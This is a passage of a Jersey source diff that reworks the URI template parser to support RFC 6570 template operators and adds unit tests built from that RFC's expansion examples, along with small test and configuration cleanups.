-                //               groupCounts.add(1 + skipGroup);
-
-                if (!nameRegexString.isEmpty()) {
-                    numOfExplicitRegexes++;
-                }
-                namePattern = (nameRegexString.isEmpty())
-                        ? TEMPLATE_VALUE_PATTERN : Pattern.compile(nameRegexString);
-                if (nameToPattern.containsKey(name)) {
-                    if (!nameToPattern.get(name).equals(namePattern)) {
-                        throw new IllegalArgumentException(
-                                LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template));
+                break;
+            default:
+                if (variables.separatorCount == 0) {
+                    if (variables.hasRegexp(0)) {
+                        numOfExplicitRegexes++;
                     }
-                } else {
-                    nameToPattern.put(name, namePattern);
-                }
 
-                // Determine group count of pattern
-                Matcher m = namePattern.matcher("");
-                int g = m.groupCount();
-                groupCounts.add(1 + skipGroup);
-                skipGroup = g;
+                    TemplateVariable templateVariable = TemplateVariable
+                            .createTemplateVariable(variables.paramType, variables.getName(0), TemplateVariable.Position.SINGLE);
+                    templateVariable.setStar(variables.explodes(0));
+                    names.add(templateVariable);
+                    parts.add(templateVariable);
+                    //               groupCounts.add(1 + skipGroup);
+
+                    if (variables.hasLength(0)) {
+                        int len = TEMPLATE_VALUE_PATTERN.pattern().length() - 1;
+                        String pattern = TEMPLATE_VALUE_PATTERN.pattern().substring(0, len) + '{' + variables.getLength(0) + '}';
+                        namePattern = Pattern.compile(pattern);
+                        templateVariable.setLength(variables.getLength(0));
+                    } else {
+                        namePattern = (!variables.hasRegexp(0))
+                                ? TEMPLATE_VALUE_PATTERN : Pattern.compile(variables.regexp(0));
+                    }
+                    if (nameToPattern.containsKey(name)) {
+                        if (!nameToPattern.get(name).equals(namePattern)) {
+                            throw new IllegalArgumentException(
+                                   LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template));
+                        }
+                    } else {
+                        nameToPattern.put(name, namePattern);
+                    }
+
+                    // Determine group count of pattern
+                    Matcher m = namePattern.matcher("");
+                    int g = m.groupCount();
+                    groupCounts.add(1 + skipGroup);
+                    skipGroup = g;
+                } else {
+                    argIndex = 0;
+                    regexBuilder = new StringBuilder();
+
+                    for (String subName : variables.names) {
+                        if (argIndex != 0) {
+                            regexBuilder
+                                    .append('(')
+                                    .append(',');
+                        }
+                        TemplateVariable.Position position = determinePosition(variables.separatorCount, argIndex);
+                        TemplateVariable templateVariable
+                                = TemplateVariable.createTemplateVariable(variables.paramType, subName, position);
+                        templateVariable.setStar(variables.explodes(argIndex));
+                        names.add(templateVariable);
+                        parts.add(templateVariable);
+
+                        if (variables.hasLength(argIndex)) {
+                            int len = TEMPLATE_VALUE_PATTERN_MULTI.pattern().length() - 1;
+                            String pattern = TEMPLATE_VALUE_PATTERN_MULTI.pattern()
+                                    .substring(0, len) + '{' + variables.getLength(argIndex) + '}';
+                            namePattern = Pattern.compile(pattern);
+                            templateVariable.setLength(variables.getLength(argIndex));
+                        } else {
+                            namePattern = (!variables.hasRegexp(argIndex))
+                                    ? TEMPLATE_VALUE_PATTERN_MULTI : Pattern.compile(variables.regexp(argIndex));
+                        }
+//                      TODO breaks RFC 6570 --backward compatibility with default pattern
+                        if (nameToPattern.containsKey(subName) && variables.paramType == 'p') {
+                            if (!nameToPattern.get(subName).equals(namePattern)) {
+                                throw new IllegalArgumentException(
+                                        LocalizationMessages.ERROR_TEMPLATE_PARSER_NAME_MORE_THAN_ONCE(name, template));
+                            }
+                        } else {
+                            nameToPattern.put(subName, namePattern);
+                        }
+
+                        regexBuilder
+                                .append('(')
+                                .append(namePattern)
+                                .append(')');
+
+                        if (argIndex != 0) {
+                            regexBuilder.append(")");
+                        }
+                        regexBuilder.append("{0,1}");
+
+                        argIndex++;
+                        groupCounts.add(2);
+                    }
+                    namePattern = Pattern.compile(regexBuilder.toString());
+                }
+                break;
             }
 
             regex.append('(')
@@ -418,40 +480,312 @@
                     .append(name)
                     .append('}');
         } catch (PatternSyntaxException ex) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.ERROR_TEMPLATE_PARSER_INVALID_SYNTAX(nameRegexString, name, template), ex);
+            throw new IllegalArgumentException(LocalizationMessages
+                    .ERROR_TEMPLATE_PARSER_INVALID_SYNTAX(variables.regexp(argIndex), variables.name, template), ex);
         }
 
         // Tell the next time through the loop how many to skip
         return skipGroup;
     }
 
-    private String parseRegex(final CharacterIterator ci) {
-        StringBuilder regexBuffer = new StringBuilder();
-
-        int braceCount = 1;
-        while (true) {
-            char c = ci.next();
-            if (c == '{') {
-                braceCount++;
-            } else if (c == '}') {
-                braceCount--;
-                if (braceCount == 0) {
-                    break;
-                }
-            }
-            regexBuffer.append(c);
-        }
-
-        return regexBuffer.toString().trim();
+    private static TemplateVariable.Position determinePosition(int separatorCount, int argIndex) {
+        TemplateVariable.Position position = separatorCount == 0
+                ? TemplateVariable.Position.SINGLE
+                : argIndex == 0
+                    ? TemplateVariable.Position.FIRST
+                    : argIndex == separatorCount ? TemplateVariable.Position.LAST : TemplateVariable.Position.MIDDLE;
+        return position;
     }
 
-    private char consumeWhiteSpace(final CharacterIterator ci) {
-        char c;
-        do {
-            c = ci.next();
-        } while (Character.isWhitespace(c));
+    private static class Variables {
+        private char paramType = 'p';
+        private List<String> names = new ArrayList<>(); // names
+        private List<Boolean> explodes = new ArrayList<>(); // *
+        private List<String> regexps = new ArrayList<>();  // : regexp
+        private List<Integer> lengths = new ArrayList<>(); // :1-9999
+        private int separatorCount = 0;
+        private StringBuilder name = new StringBuilder();
 
-        return c;
+        private int getCount() {
+            return names.size();
+        }
+
+        private boolean explodes(int index) {
+            return !explodes.isEmpty() && explodes.get(index);
+        }
+
+        private boolean hasRegexp(int index) {
+            return !regexps.isEmpty() && regexps.get(index) != null;
+        }
+
+        private String regexp(int index) {
+            return regexps.get(index);
+        }
+
+        private boolean hasLength(int index) {
+            return !lengths.isEmpty() && lengths.get(index) != null;
+        }
+
+        private Integer getLength(int index) {
+            return lengths.get(index);
+        }
+
+        private char getParamType() {
+            return paramType;
+        }
+
+        private int getSeparatorCount() {
+            return separatorCount;
+        }
+
+        private String getName() {
+            return name.toString();
+        }
+
+        private String getName(int index) {
+            return names.get(index);
+        }
+
+        private void parse(CharacterIterator ci, String template) {
+            name.append('{');
+
+            char c = consumeWhiteSpace(ci);
+
+            StringBuilder nameBuilder = new StringBuilder();
+
+            // Look for query or matrix types
+            if (c == '?' || c == ';' || c == '.' || c == '+' || c == '#' || c == '/' || c == '&') {
+                paramType = c;
+                c = ci.next();
+                name.append(paramType);
+            }
+
+            if (Character.isLetterOrDigit(c) || c == '_') {
+                // Template name character
+                nameBuilder.append(c);
+                name.append(c);
+            } else {
+                throw new IllegalArgumentException(LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_START_NAME(c, ci.pos(),
+                        template));
+            }
+
+            StringBuilder regexBuilder = new StringBuilder();
+            State state = State.TEMPLATE;
+            boolean star = false;
+            boolean whiteSpace = false;
+            boolean ignoredLastComma = false;
+            int bracketDepth = 1;  // {
+            int regExpBracket = 0; // [
+            int regExpRound = 0;   // (
+            boolean reqExpSlash = false; // \
+            while ((state.value & (State.ERROR.value | State.EXIT.value)) == 0) {
+                c = ci.next();
+                // "\\{(\\w[-\\w\\.]*)
+                if (Character.isLetterOrDigit(c)) {
+                    // Template name character
+                    append(c, state, nameBuilder, regexBuilder);
+                    state = state.transition(State.TEMPLATE.value | State.REGEXP.value);
+                } else switch (c) {
+                    case '_':
+                    case '-':
+                    case '.':
+                        // Template name character
+                        append(c, state, nameBuilder, regexBuilder);
+                        state = state.transition(State.TEMPLATE.value | State.REGEXP.value);
+                        break;
+                    case ',':
+                        switch (state) {
+                            case REGEXP:
+                                if (bracketDepth == 1 && !reqExpSlash && regExpBracket == 0 && regExpRound == 0) {
+                                    state = State.COMMA;
+                                } else {
+                                    regexBuilder.append(c);
+                                }
+                                break;
+                            case TEMPLATE:
+                            case STAR:
+                                state = State.COMMA;
+                                break;
+                        }
+                        separatorCount++;
+                        break;
+                    case ':':
+                        if (state == State.REGEXP) {
+                            regexBuilder.append(c);
+                        }
+                        state = state.transition(State.TEMPLATE.value | State.REGEXP.value | State.STAR.value, State.REGEXP);
+                        break;
+                    case '*':
+                        state = state.transition(State.TEMPLATE.value | State.REGEXP.value);
+                        if (state == State.TEMPLATE) {
+                            star = true;
+                            state = State.STAR;
+                        } else if (state == State.REGEXP){
+                            regexBuilder.append(c);
+                        }
+                        break;
+                    case '}':
+                        bracketDepth--;
+                        if (bracketDepth == 0) {
+                            state = State.BRACKET;
+                        } else {
+                            regexBuilder.append(c);
+                        }
+                        break;
+                    case '{':
+                        if (state == State.REGEXP) {
+                            bracketDepth++;
+                            regexBuilder.append(c);
+                        } else {
+                            state = State.ERROR; // Error multiple parenthesis
+                        }
+                        break;
+                    default:
+                        if (!Character.isWhitespace(c)) {
+                            if (state != State.REGEXP) {
+                                state = State.ERROR; // Error - unknown symbol
+                            } else {
+                                switch (c) {
+                                    case '(' :
+                                        regExpRound++;
+                                        break;
+                                    case ')':
+                                        regExpRound--;
+                                        break;
+                                    case '[':
+                                        regExpBracket++;
+                                        break;
+                                    case ']':
+                                        regExpBracket--;
+                                        break;
+                                }
+                                if (c == '\\') {
+                                    reqExpSlash = true;
+                                } else {
+                                    reqExpSlash = false;
+                                }
+                                regexBuilder.append(c);
+                            }
+                        }
+                        whiteSpace = true;
+                        break;
+                }
+
+                // Store parsed name, and associated star, regexp, and length
+                switch (state) {
+                    case COMMA:
+                    case BRACKET:
+                        if (nameBuilder.length() == 0 && regexBuilder.length() == 0 && !star
+                                && name.charAt(name.length() - 1) == ',' /* ignore last comma */) {
+                            if (ignoredLastComma) { // Do not ignore twice
+                                state = State.ERROR;
+                            } else {
+                                name.setLength(name.length() - 1);
+                                ignoredLastComma = true;
+                            }
+                            break;
+                        }
+                        if (regexBuilder.length() != 0) {
+                            String regex = regexBuilder.toString();
+                            Matcher matcher = MATCH_NUMBER_OF_MAX_LENGTH_4.matcher(regex);
+                            if (matcher.matches()) {
+                                lengths.add(Integer.parseInt(regex));
+                                regexps.add(null);
+                            } else {
+                                if (paramType != 'p') {
+                                    state = State.ERROR; // regular expressions allowed just on path by the REST spec
+                                    c = regex.charAt(0); // display proper error values
+                                    ci.setPosition(ci.pos() - regex.length());
+                                    break;
+                                }
+                                lengths.add(null);
+                                regexps.add(regex);
+                            }
+                        } else {
+                            regexps.add(null);
+                            lengths.add(null);
+                        }
+
+                        names.add(nameBuilder.toString());
+                        explodes.add(star);
+
+                        nameBuilder.setLength(0);
+                        regexBuilder.setLength(0);
+                        star = false;
+                        ignoredLastComma = false;
+                        break;
+                }
+
+                if (!whiteSpace) {
+                    name.append(c);
+                }
+                whiteSpace = false;
+
+                // switch state back or exit
+                switch (state) {
+                    case COMMA:
+                        state = State.TEMPLATE;
+                        break;
+                    case BRACKET:
+                        state = State.EXIT;
+                        break;
+                }
+            }
+
+            if (state == State.ERROR) {
+                throw new IllegalArgumentException(
+                        LocalizationMessages.ERROR_TEMPLATE_PARSER_ILLEGAL_CHAR_AFTER_NAME(c, ci.pos(), template));
+            }
+        }
+
+        private static void append(char c, State state, StringBuilder templateSb, StringBuilder regexpSb) {
+            if (state == State.TEMPLATE) {
+                templateSb.append(c);
+            } else { // REGEXP
+                regexpSb.append(c);
+            }
+        }
+
+        private static char consumeWhiteSpace(final CharacterIterator ci) {
+            char c;
+            do {
+                c = ci.next();
+            } while (Character.isWhitespace(c));
+
+            return c;
+        }
+
+        private enum State {
+            TEMPLATE/**/(0b000000001), // Template name, before '*', ':', ',' or '}'
+            REGEXP/*  */(0b000000010), // Regular expression inside template, after :
+            STAR/*    */(0b000000100), // *
+            COMMA/*   */(0b000001000), // ,
+            BRACKET/* */(0b000010000), // }
+            EXIT/*    */(0b001000000), // quit parsing
+            ERROR/*   */(0b100000000); // error when parsing
+            private final int value;
+            State(int value) {
+                this.value = value;
+            }
+
+            /**
+             * Return error state when in not any of allowed states represented by their combined values
+             * @param allowed The combined values of states (state1.value | state2.value) not to return error level
+             * @return this state if in allowed state or {@link State#ERROR} if not
+             */
+            State transition(int allowed) {
+                return ((value & allowed) != 0) ? this : State.ERROR;
+            }
+
+            /**
+             * Return error state when in not any of allowed states represented by their combined values
+             * @param allowed The combined values of states (state1.value | state2.value) not to return error level
+             * @param next the next state to transition
+             * @return next state if in allowed state or {@link State#ERROR} if not
+             */
+            State transition(int allowed, State next) {
+                return ((value & allowed) != 0) ? next : State.ERROR;
+            }
+        }
     }
 }
diff --git a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
index 9ea23c8..ef2ae4d 100644
--- a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
+++ b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
@@ -1,11 +1,5 @@
 [
   {
-    "name":"org.glassfish.jersey.internal.config.ExternalPropertiesAutoDiscoverable",
-    "allDeclaredFields":true,
-    "allDeclaredMethods":true,
-    "allDeclaredConstructors":true
-  },
-  {
     "name":"org.glassfish.jersey.internal.inject.Custom",
     "allDeclaredMethods":true
   },
diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java
index 55976fe..d290dc1 100644
--- a/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java
+++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/UtilsTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,22 +22,19 @@
 import java.io.BufferedOutputStream;
 import java.io.ByteArrayInputStream;
 import java.io.File;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.OutputStream;
+import java.nio.file.Files;
 
 public class UtilsTest {
 
     @Test
     public void createTempFile() throws IOException {
         final File file = Utils.createTempFile();
-        final OutputStream stream = new BufferedOutputStream(new FileOutputStream(file));
 
-        try {
+        try (final OutputStream stream = new BufferedOutputStream(Files.newOutputStream(file.toPath()))) {
             final ByteArrayInputStream entityStream = new ByteArrayInputStream("Test stream byte input".getBytes());
             ReaderWriter.writeTo(entityStream, stream);
-        } finally {
-            stream.close();
         }
         Assertions.assertTrue(file.exists());
     }
diff --git a/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java b/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java
index 7826506..7846c11 100644
--- a/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java
+++ b/core-common/src/test/java/org/glassfish/jersey/uri/UriTemplateTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,12 +22,14 @@
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.Iterator;
+import java.util.LinkedHashMap;
 import java.util.List;
 import java.util.Map;
 import java.util.regex.MatchResult;
 
 import org.glassfish.jersey.uri.internal.UriTemplateParser;
 
+import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
 import static org.hamcrest.CoreMatchers.equalTo;
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -284,7 +286,9 @@
         assertEquals(uri.length(), mr.end(0));
         for (int i = 0; i < mr.groupCount(); i++) {
             assertEquals(values[i], mr.group(i + 1));
-            assertEquals(values[i], uri.substring(mr.start(i + 1), mr.end(i + 1)));
+            int start = mr.start(i + 1);
+            int end = mr.end(i + 1);
+            assertEquals(values[i], start == -1 ? null : uri.substring(start, end));
         }
     }
 
@@ -432,8 +436,8 @@
         _testSubstitutionMap("http://example.com/order/{c}/{c}/{c}/",
                 "http://example.com/order/cheeseburger/cheeseburger/cheeseburger/",
                 "c", "cheeseburger");
-        _testSubstitutionMap("http://example.com/{q}",
-                "http://example.com/hullo#world",
+        _testSubstitutionMap("http://example.com/{q}/z",
+                "http://example.com/hullo%23world/z",
                 "q", "hullo#world");
         _testSubstitutionMap("http://example.com/{e}/",
                 "http://example.com//",
@@ -656,7 +660,7 @@
     private static final String base = "http://example.com/home/";
     private static final String path = "/foo/bar";
     private static final List<String> list = Arrays.asList("red", "green", "blue");
-    private static final Map<String, String> keys = new HashMap<String, String>() {{
+    private static final Map<String, String> keys = new LinkedHashMap<String, String>() {{
         put("semi", ";");
         put("dot", ".");
         put("comma", ",");
@@ -690,11 +694,42 @@
         assertEncodedQueryTemplateExpansion("?x=1024&y=768&empty=", "{?x,y,empty}", x, y, empty);
         assertEncodedQueryTemplateExpansion("?x=1024&y=768", "{?x,y,undef}", x, y);
 
-        // TODO assertEncodedQueryTemplateExpansion("?var=val", "{?var:3}", var);
-        // TODO assertEncodedQueryTemplateExpansion("?list=red,green,blue", "{?list}", list);
-        // TODO assertEncodedQueryTemplateExpansion("?list=red&list=green&list=blue", "{?list*}", list);
-        // TODO assertEncodedQueryTemplateExpansion("?keys=semi,%3B,dot,.,comma,%2C", "{?keys}", keys);
-        // TODO assertEncodedQueryTemplateExpansion("?semi=%3B&dot=.&comma=%2C", "{?keys*}", keys);
+        assertEncodedQueryTemplateExpansion("?var=val", "{?var:3}", var);
+        assertEncodedQueryTemplateExpansion("?list=red,green,blue", "{?list}", list);
+        assertEncodedQueryTemplateExpansion("?list=red&list=green&list=blue", "{?list*}", list);
+        assertEncodedQueryTemplateExpansion("?keys=semi,%3B,dot,.,comma,%2C", "{?keys}", new Object[]{keys});
+        assertEncodedQueryTemplateExpansion("?semi=%3B&dot=.&comma=%2C", "{?keys*}", new Object[]{keys});
+    }
+
+    @Test
+    public void testRfc6570QueryContinuationTemplateExamples() {
+        /*
+            RFC 6570, section 3.2.9:
+
+           {&who}             &who=fred
+           {&half}            &half=50%25
+           ?fixed=yes{&x}     ?fixed=yes&x=1024
+           {&x,y,empty}       &x=1024&y=768&empty=
+           {&x,y,undef}       &x=1024&y=768
+
+           {&var:3}           &var=val
+           {&list}            &list=red,green,blue
+           {&list*}           &list=red&list=green&list=blue
+           {&keys}            &keys=semi,%3B,dot,.,comma,%2C
+           {&keys*}           &semi=%3B&dot=.&comma=%2C
+        */
+
+        assertEncodedQueryTemplateExpansion("&who=fred", "{ &who}", who);
+        assertEncodedQueryTemplateExpansion("&half=50%25", "{&half}", half);
+        assertEncodedQueryTemplateExpansion("?fixed=yes&x=1024", "?fixed=yes{&x}", x, y);
+        assertEncodedQueryTemplateExpansion("&x=1024&y=768&empty=", "{&x,y,empty}", x, y, empty);
+        assertEncodedQueryTemplateExpansion("&x=1024&y=768", "{&x,y,undef}", x, y);
+
+        assertEncodedQueryTemplateExpansion("&var=val", "{&var:3}", var);
+        assertEncodedQueryTemplateExpansion("&list=red,green,blue", "{&list}", list);
+        assertEncodedQueryTemplateExpansion("&list=red&list=green&list=blue", "{&list*}", list);
+        assertEncodedQueryTemplateExpansion("&keys=semi,%3B,dot,.,comma,%2C", "{&keys}", new Object[]{keys});
+        assertEncodedQueryTemplateExpansion("&semi=%3B&dot=.&comma=%2C", "{&keys*}", new Object[]{keys});
     }
 
     private void assertEncodedQueryTemplateExpansion(final String expectedExpansion,
@@ -743,11 +778,252 @@
         assertEncodedPathTemplateExpansion(";x=1024;y=768", "{;x,y}", x, y);
         assertEncodedPathTemplateExpansion(";x=1024;y=768;empty", "{;x,y,empty}", x, y, empty);
         assertEncodedPathTemplateExpansion(";x=1024;y=768", "{;x,y,undef}", x, y);
-        // TODO assertEncodedPathTemplateExpansion(";hello=Hello", "{;hello:5}", hello);
-        // TODO assertEncodedPathTemplateExpansion(";list=red,green,blue", "{;list}", list);
-        // TODO assertEncodedPathTemplateExpansion(";list=red;list=green;list=blue", "{;list*}", list);
-        // TODO assertEncodedPathTemplateExpansion(";keys=semi,%3B,dot,.,comma,%2C", "{;keys}", keys);
-        // TODO assertEncodedPathTemplateExpansion(";semi=%3B;dot=.;comma=%2C", "{;keys*}", keys);
+        assertEncodedPathTemplateExpansion(";hello=Hello", "{;hello:5}", hello);
+        assertEncodedPathTemplateExpansion(";list=red,green,blue", "{;list}", list);
+        assertEncodedPathTemplateExpansion(";list=red;list=green;list=blue", "{;list*}", list);
+        assertEncodedPathTemplateExpansion(";keys=semi,%3B,dot,.,comma,%2C", "{;keys}", new Object[]{keys});
+        assertEncodedPathTemplateExpansion(";semi=%3B;dot=.;comma=%2C", "{;keys*}", new Object[]{keys});
+    }
+
+    @Test
+    void testRfc6570DefaultTemplateExamples() {
+        /*
+            RFC 6570, section 3.2.2
+               {var}              value
+               {hello}            Hello%20World%21
+               {half}             50%25
+               O{empty}X          OX
+               O{undef}X          OX
+               {x,y}              1024,768
+               {x,hello,y}        1024,Hello%20World%21,768
+               ?{x,empty}         ?1024,
+               ?{x,undef}         ?1024
+               ?{undef,y}         ?768
+               {var:3}            val
+               {var:30}           value
+               {list}             red,green,blue
+               {list*}            red,green,blue
+               {keys}             semi,%3B,dot,.,comma,%2C
+               {keys*}            semi=%3B,dot=.,comma=%2C
+         */
+
+        // TODO assertEncodedPathTemplateExpansion("Hello%20World%21", "{hello}", hello); // conflicts with rfc3986 Path
+        assertEncodedPathTemplateExpansion("50%25", "{half}", half);
+        assertEncodedPathTemplateExpansion("0X", "0{empty}X", empty);
+        // TODO assertEncodedPathTemplateExpansion("0X", "0{undef}X"); // conflicts with UriBuilder
+        // TODO assertEncodedPathTemplateExpansion("1024,Hello%20World%21,768", "{x,hello,y}", x, hello, y); //Path is {+}
+        assertEncodedPathTemplateExpansion("?1024,", "?{x,empty}", x, empty);
+        // TODO assertEncodedPathTemplateExpansion("?1024", "?{x,undef}", x); // conflicts with UriBuilder
+        assertEncodedPathTemplateExpansion("val", "{var:3}", var);
+        assertEncodedPathTemplateExpansion("value", "{var:30}", var);
+        assertEncodedPathTemplateExpansion("red,green,blue", "{list}", list);
+        // TODO assertEncodedPathTemplateExpansion("semi,%3B,dot,.,comma,%2C", "{keys}", keys);
+        // TODO assertEncodedPathTemplateExpansion("semi=%3B,dot=.,comma=%2C", "{keys*}", keys);
+
+        // TODO Proprietary minus template
+//        assertEncodedPathTemplateExpansion("Hello%20World%21", "{-hello}", hello);
+//        assertEncodedPathTemplateExpansion("50%25", "{-half}", half);
+//        assertEncodedPathTemplateExpansion("0X", "0{-empty}X", empty);
+//        assertEncodedPathTemplateExpansion("0X", "0{-undef}X");
+//        assertEncodedPathTemplateExpansion("1024,Hello%20World%21,768", "{-x,hello,y}", x, hello, y);
+//        assertEncodedPathTemplateExpansion("?1024,", "?{-x,empty}", x, empty);
+//        assertEncodedPathTemplateExpansion("?1024", "?{-x,undef}", x);
+//        assertEncodedPathTemplateExpansion("val", "{-var:3}", var);
+//        assertEncodedPathTemplateExpansion("value", "{-var:30}", var);
+//        assertEncodedPathTemplateExpansion("red,green,blue", "{-list}", list);
+//        assertEncodedPathTemplateExpansion("semi,%3B,dot,.,comma,%2C", "{-keys}", new Object[]{keys});
+//        assertEncodedPathTemplateExpansion("semi=%3B,dot=.,comma=%2C", "{-keys*}", new Object[]{keys});
+    }
+
+    @Test
+    void testRfc6570PlusTemplateExamples() {
+        /*
+            RFC 6570, section 3.2.3
+               {+var}                value
+               {+hello}              Hello%20World!
+               {+half}               50%25
+
+               {base}index           http%3A%2F%2Fexample.com%2Fhome%2Findex
+               {+base}index          http://example.com/home/index
+               O{+empty}X            OX
+               O{+undef}X            OX
+
+               {+path}/here          /foo/bar/here
+               here?ref={+path}      here?ref=/foo/bar
+               up{+path}{var}/here   up/foo/barvalue/here
+               {+x,hello,y}          1024,Hello%20World!,768
+               {+path,x}/here        /foo/bar,1024/here
+
+               {+path:6}/here        /foo/b/here
+               {+list}               red,green,blue
+               {+list*}              red,green,blue
+               {+keys}               semi,;,dot,.,comma,,
+               {+keys*}              semi=;,dot=.,comma=,
+         */
+        assertEncodedPathTemplateExpansion("Hello%20World!", "{+hello}", hello);
+        assertEncodedPathTemplateExpansion("50%25", "{+half}", half);
+        assertEncodedPathTemplateExpansion("50%25", "{+half}", half);
+//        assertEncodedPathTemplateExpansion("http%3A%2F%2Fexample.com%2Fhome%2Findex", "{-base}index", base);
+        assertEncodedPathTemplateExpansion("http://example.com/home/index", "{+base}index", base);
+        assertEncodedPathTemplateExpansion("/foo/bar/here", "{+path}/here", path);
+        assertEncodedPathTemplateExpansion("here?ref=/foo/bar", "here?ref={+path}", path);
+        assertEncodedPathTemplateExpansion("up/foo/barvalue/here", "up{+path}{var}/here", path, var);
+        assertEncodedPathTemplateExpansion("1024,Hello%20World!,768", "{+x,hello,y}", x, hello, y);
+        assertEncodedPathTemplateExpansion("/foo/bar,1024/here", "{+path,x}/here", path, x);
+        assertEncodedPathTemplateExpansion("/foo/b/here", "{+path:6}/here", path);
+        assertEncodedPathTemplateExpansion("red,green,blue", "{+list}", list);
+        assertEncodedPathTemplateExpansion("red,green,blue", "{+list*}", list);
+        assertEncodedPathTemplateExpansion("semi,;,dot,.,comma,,", "{+keys}", new Object[]{keys});
+        assertEncodedPathTemplateExpansion("semi=;,dot=.,comma=,", "{+keys*}", new Object[]{keys});
+    }
+
+    @Test
+    void testRfc6570HashTemplateExamples() {
+        /*
+            RFC 6570, section 3.2.4
+               {#var}             #value
+               {#hello}           #Hello%20World!
+               {#half}            #50%25
+               foo{#empty}        foo#
+               foo{#undef}        foo
+               {#x,hello,y}       #1024,Hello%20World!,768
+               {#path,x}/here     #/foo/bar,1024/here
+               {#path:6}/here     #/foo/b/here
+               {#list}            #red,green,blue
+               {#list*}           #red,green,blue
+               {#keys}            #semi,;,dot,.,comma,,
+               {#keys*}           #semi=;,dot=.,comma=,
+         */
+        assertEncodedPathTemplateExpansion("#Hello%20World!", "{#hello}", hello);
+        assertEncodedPathTemplateExpansion("#50%25", "{#half}", half);
+        assertEncodedPathTemplateExpansion("0#X", "0{#empty}X", empty);
+        assertEncodedPathTemplateExpansion("0X", "0{#undef}X");
+        assertEncodedPathTemplateExpansion("#1024,Hello%20World!,768", "{#x,hello,y}", x, hello, y);
+        assertEncodedPathTemplateExpansion("#/foo/bar,1024/here", "{#path,x}/here", path, x);
+        assertEncodedPathTemplateExpansion("#/foo/b/here", "{#path:6}/here", path);
+        assertEncodedPathTemplateExpansion("#red,green,blue", "{#list}", list);
+        assertEncodedPathTemplateExpansion("#red,green,blue", "{#list*}", list);
+        assertEncodedPathTemplateExpansion("#semi,;,dot,.,comma,,", "{#keys}", new Object[]{keys});
+        assertEncodedPathTemplateExpansion("#semi=;,dot=.,comma=,", "{#keys*}", new Object[]{keys});
+    }
+
+    @Test
+    void testRfc6570DotTemplateExamples() {
+        /*
+            RFC 6570, section 3.2.5
+               {.who}             .fred
+               {.who,who}         .fred.fred
+               {.half,who}        .50%25.fred
+               www{.dom*}         www.example.com
+               X{.var}            X.value
+               X{.empty}          X.
+               X{.undef}          X
+               X{.var:3}          X.val
+               X{.list}           X.red,green,blue
+               X{.list*}          X.red.green.blue
+               X{.keys}           X.semi,%3B,dot,.,comma,%2C
+               X{.keys*}          X.semi=%3B.dot=..comma=%2C
+               X{.empty_keys}     X
+               X{.empty_keys*}    X
+         */
+        assertEncodedPathTemplateExpansion(".fred", "{.who}", who);
+        assertEncodedPathTemplateExpansion(".fred.fred", "{.who,who}", who);
+        assertEncodedPathTemplateExpansion(".50%25.fred", "{.half,who}", half, who);
+        assertEncodedPathTemplateExpansion("www.example.com", "www{.dom*}", dom);
+        assertEncodedPathTemplateExpansion("X.value", "X{.var}", var);
+        assertEncodedPathTemplateExpansion("X.", "X{.empty}", empty);
+        assertEncodedPathTemplateExpansion("X", "X{.undef}");
+        assertEncodedPathTemplateExpansion("X.val", "X{.var:3}", var);
+        assertEncodedPathTemplateExpansion("X.red,green,blue", "X{.list}", list);
+        assertEncodedPathTemplateExpansion("X.red.green.blue", "X{.list*}", list);
+        assertEncodedPathTemplateExpansion("X.semi,%3B,dot,.,comma,%2C", "X{.keys}", new Object[]{keys});
+        assertEncodedPathTemplateExpansion("X.semi=%3B.dot=..comma=%2C", "X{.keys*}", new Object[]{keys});
+        assertEncodedPathTemplateExpansion("X", "X{.empty_keys}", emptyKeys);
+        assertEncodedPathTemplateExpansion("X", "X{.empty_keys*}", emptyKeys);
+    }
+
+    @Test
+    void testRfc6570SlashTemplateExamples() {
+        /*
+            RFC 6570, section 3.2.6
+
+                   {/who}             /fred
+                   {/who,who}         /fred/fred
+                   {/half,who}        /50%25/fred
+                   {/who,dub}         /fred/me%2Ftoo
+                   {/var}             /value
+                   {/var,empty}       /value/
+                   {/var,undef}       /value
+                   {/var,x}/here      /value/1024/here
+                   {/var:1,var}       /v/value
+                   {/list}            /red,green,blue
+                   {/list*}           /red/green/blue
+                   {/list*,path:4}    /red/green/blue/%2Ffoo
+                   {/keys}            /semi,%3B,dot,.,comma,%2C
+                   {/keys*}           /semi=%3B/dot=./comma=%2C
+         */
+        assertEncodedPathTemplateExpansion("/fred", "{/who}", who);
+        assertEncodedPathTemplateExpansion("/fred/fred", "{/who,who}", who);
+        assertEncodedPathTemplateExpansion("/50%25/fred", "{/half,who}", half, who);
+        assertEncodedPathTemplateExpansion("/fred/me%2Ftoo", "{/who,dub}", who, dub);
+        assertEncodedPathTemplateExpansion("/value", "{/var}", var);
